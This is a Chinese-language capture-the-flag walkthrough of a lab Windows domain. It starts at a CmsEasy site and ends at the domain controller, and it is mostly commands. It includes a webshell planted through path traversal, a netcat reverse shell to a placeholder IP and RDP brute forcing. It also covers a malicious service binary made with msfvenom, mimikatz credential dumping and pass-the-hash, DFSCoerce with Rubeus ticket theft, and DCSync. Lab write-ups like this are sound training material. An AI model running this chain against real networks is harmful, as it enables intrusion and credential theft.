1 | rustscan -a 39.99.129.15 --range 1-65535 |
发现开启了端口
1 | Open 39.99.129.15:25 |
然后在拿去nmap跑一下服务
1 | nmap 39.99.129.15 -A -p 25,21,22,110,80,3306 |
80端口是CmsEasy 7_7_5
先使用弱口令admin/123456
登录后台
http://39.99.129.15/index.php?case=index&act=index&admin_dir=admin&site=default#index_connent
然后执行打poc
1 | POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1 |
.._d_
代表 ../
,此处用来路径穿越
访问http://39.99.129.15/1.php获得shell
用蚁剑连接
先提权获得flag1,使用suid提权
查找存在suid位的可执行文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
这里可以使用diff来读取flag1,为了可以使用命令上下文,所以先弹个shell
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <ip> 9999 >/tmp/f |
然后用python获取一个虚拟终端
1 | /usr/bin/python2.7 -c 'import pty; pty.spawn("/bin/bash")' |
然后使用以下命令进行来读取flag
1 | LFILE=/home/flag/flag01.txt |
这里就是会打印两个文件不一样的地方,然后只输出$LFILE的值
得到flag01: flag{ac81f039-4878-4e5f-b4c9-78dde958dec0}
而且得到一个hint:WIN19\Adrian
,是一个用户
然后上传fscan,扫一下内网,上传到/tmp
查看网段,授予执行权限
然后扫描
1 | ./fscan_386 -h 172.22.4.0/24 > re.txt |
得到
1 | start infoscan |
内网存在以下主机
1 | 172.22.4.36 本机 |
然后上传frp,进行内网代理
frpc.ini
1 | [common] |
frps.ini
1 | [common] |
1 | ./frps -c frps.ini |
然后在kali上的/etc/proxychains4.conf
添加socks5 <vpsip> 1000
因为172.22.4.45的445端口,即smb服务是打开的,所以可以使用crackmapexec来爆破一下密码
1 | proxychains -q crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt |
但是发现不行。。用hydra试试
1 | proxychains -q hydra -l Adrian -P rockyou.txt 172.22.4.45 rdp -vV |
可以发现密码babygirl1
在多次尝试
使用rdesktop进行登录
1 | proxychains4 -q rdesktop -u Adrian 172.22.4.45 |
会发现密码过期,修改后成功登录
然后就是要进行本地提权了,很戏剧的是当前主机上刚好有个PrivescCheck,这个是用来检测提权风险的
而且报告都已经写出来了,但是保守起见,我还是再跑一次
1 | Set-ExecutionPolicy Bypass -Scope process -Force |
发现谷歌浏览器的更新服务的注册完全可控那么我们就可以修改其二进制文件路径,来进行提权
将他服务对应的二进制文件修改为cmd.exe
然后开启服务,但是发现会报错
去网上搜了之后也没有找到是为什么
我再用msfvenom生成一个适用于服务的二进制文件
1 | msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe" --platform windows -f exe-service > v2.exe |
这里我是在使用rdesktop修改密码后再使用remmina进行登录的,因为remmina用共享文件夹更加方便
上传上去后,再修改一下服务的二进制文件
md,虽然不会报错,但是这里的cmd好像不会弹出来
那就试试执行bat文件来创建一个本地管理员用户
1 | msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe /c C:\Users\Adrian\1.bat" --platform windows -f exe-service > v2.exe |
1.bat内容
1 | net user v2i 159357@qwe /add |
然后再次开启服务,发现用户成功创建,被为本地管理员
再用新账户进行登录,然后成功拿到flag2
使用mimikatz来获取其他用户的hash
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
抓取到的hash里有一个机器账户,且他为域内用户
pth一下,直接用mimikatz
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN19$ /domain:xiaorang.lab /ntlm:a8154bffa1e14f4d428f35a4361c2f72" exit |
然后弹出了一个cmd,成功查找域内用户,即证明我们登录到了WIN19$账户
然后是上传Sharphound再配合Bloodhound收集域内信息
要用新弹出的cmd输入命令
1 | SharpHound.exe --CollectionMethods All --Domain xiaorang.lab |
然后本地开启Bloodhound进行分析
1 | sudo neo4j console |
查看到最短到约束性委派主机的路径
可以看到DC01和WIN19主机都存在非约束委派
我们当前WIN19账户可控,所以思路就是让DC01账户向WIN19账户发送身份验证请求,然后保存其TGT。因为WIN19开启了非约束性委派,所以我们可以利用DC01的TGT去做任何他能做到的事情
先把Rebeus上传上去,然后开启监听
1 | Rubeus.exe monitor /interval:1 /filteruser:DC01 |
然后就是思考,可以使用什么漏洞强制对方向我们这个主机发送身份验证了
那就一个个试吧,最后发现可以使用DFSCoerce
1 | proxychains4 -q python3 dfscoerce.py -u WIN19\$ -d xiaorang.lab -hashes :a8154bffa1e14f4d428f35a4361c2f72 win19 172.22.4.7 |
等待一下,Rebeus就能获取到一个base64编码的TGT
然后使用Rebeus注入这个TGT
1 | Rubeus.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD61VkdmE++6V9B9l8xaABPeaXTs8WEMNQSNlkknQBTX6GI59TbxiPJZkp+2kEjWHdJVDSQONAjvwCdfMGEkyLiXZKwowRxveW1PvhPBMch9XyftCek3pcbPnEFmIGCqHFA9CAxbrnlwz6YQci/gr0weuUpMoZeF20wb6D5wlzrfSHsrS5gpgf/pUTe+mRhjJPdedKLSGxFAiHj0wc66c9NJa606BNsa/YroH1K+EAQ0mOtfzPpOfN9iEdsTbZRhz6Oq/jrSoqnpnmxyf/ybaSookQBAe/c89V8HRNwkuZEhvTCpAdlH24U1ImZ3cok6BFI43HauYBI1BgRdOUygzkrf8mmseL5ie0OgzCLgjwTcDiCko+b1EvrXBdstS9QyhiWrSI1qB+uuhg9A1FPCkR4UdRz25ySbCCJgwrtd658NVl5XkhDzSpPgeBUjLuJqUiKodFPPZCEiCMwjKHyxat1QwkHjSZQaigqn7rUykyXSuMCTNLrIQjIOw1Wg8gjpR2BH8ID/fzwk9VIGUxY1Cr2DFqGkjh5McZoZet1h8nrut+jmEFiy5nUrwBZIPfPGPdt+0wZjvluco2S+dkui5ora/pWfhLRV8T09NLKQgUEGeWjifHwFaGu6Wo+A1QWsWAQvYNqtojaHkKj0TD9iY+2Y7Oft1U53to/DbIbYmC4DgRoqT2C7Xqpb9A4Xk/vS0U0+BynbUPDz+OqAEicnW4RyRDQHk/cZPmn93uyJsstcIA0QQpIaSVtJNwzZ3TrRsPYcijTDfmO/QpB5FiEFRW9mrdpLUPcbpScj0787ZdXryqd3D0eMNBcPAz5ydiKZIlVStowgPMF1Iu1xQxO6xKoPnoFKfHFhuw9Uw/5azaXb42+uoHaap3y8LndaUDm+cCCCaKZ/2+XCKqt80kbCRuMUPdmlG1S3+6QIOMFYS5DV9bdZOmAgJvsj0HUjUsMk6WlT5j/br4Z6EZBHTBgU/Gy/uSND09updiuxvNB9bIBJRK+aw4PeZPw/SXYeJllY8uYZrXcimLVF8L6D0EaVlF8Fb7PzOuPyHizpHXds1RpTQWebB6WSRp7r17eJgRb+6wRBUxyxRvsjaPr41mHZJPf2mu3E1yApPkBTzaHafPKwZRP6zhLhH8v3XxlZ+okufjPAcehuRqbx1H42QqFBAX6tZlfCalNVmdkk68aI+9CcZ74S81XXNNwmzXLy0tJRVmphGDabHnCwMpJ0k4rFZSI3g4qFvUEJHicUkr9skn4U/sq+SyxYvuKTyTdxIgfA+VaP/5seD72IdSPfZGMkvwsUzeUGdeCA6SRydbfGmhyBMYRw5IEBBsH1h19jBtq6WdbaYjGwySUpfItVMIujkfupsdg+9g1Hyogq3gYR3zZS1sbNYm2odew0DuxAGli3SYEC1dG5E9n2AC4EPApo3q410OkFWcW2GW7oryXIjf2jgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCBHuQlJ550MC+BvZ8IPAWeSCGYzET0xeTiIT3teMzCS0aEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIzMDgxMTExNTM1NFqmERgPMjAyMzA4MTEyMTUzNTRapxEYDzIwMjMwODE4MTE1MzU0WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg== |
然后使用psexec来访问域控主机
1 | PsExec64.exe \\172.22.4.7 cmd.exe |
貌似不行,那就试着用mimikatz通过DCSync来导出域控的hash
1 | mimikatz "lsadump::dcsync /domain:xiaorang.lab /user:administrator" exit |
然后使用psexec.py进行横向移动
1 | proxychains4 -q python3 psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 administrator@172.22.4.7 |
获取flag04
同理,登录FILESERVER的主机
1 | proxychains4 -q python3 psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.19 |
获得flag03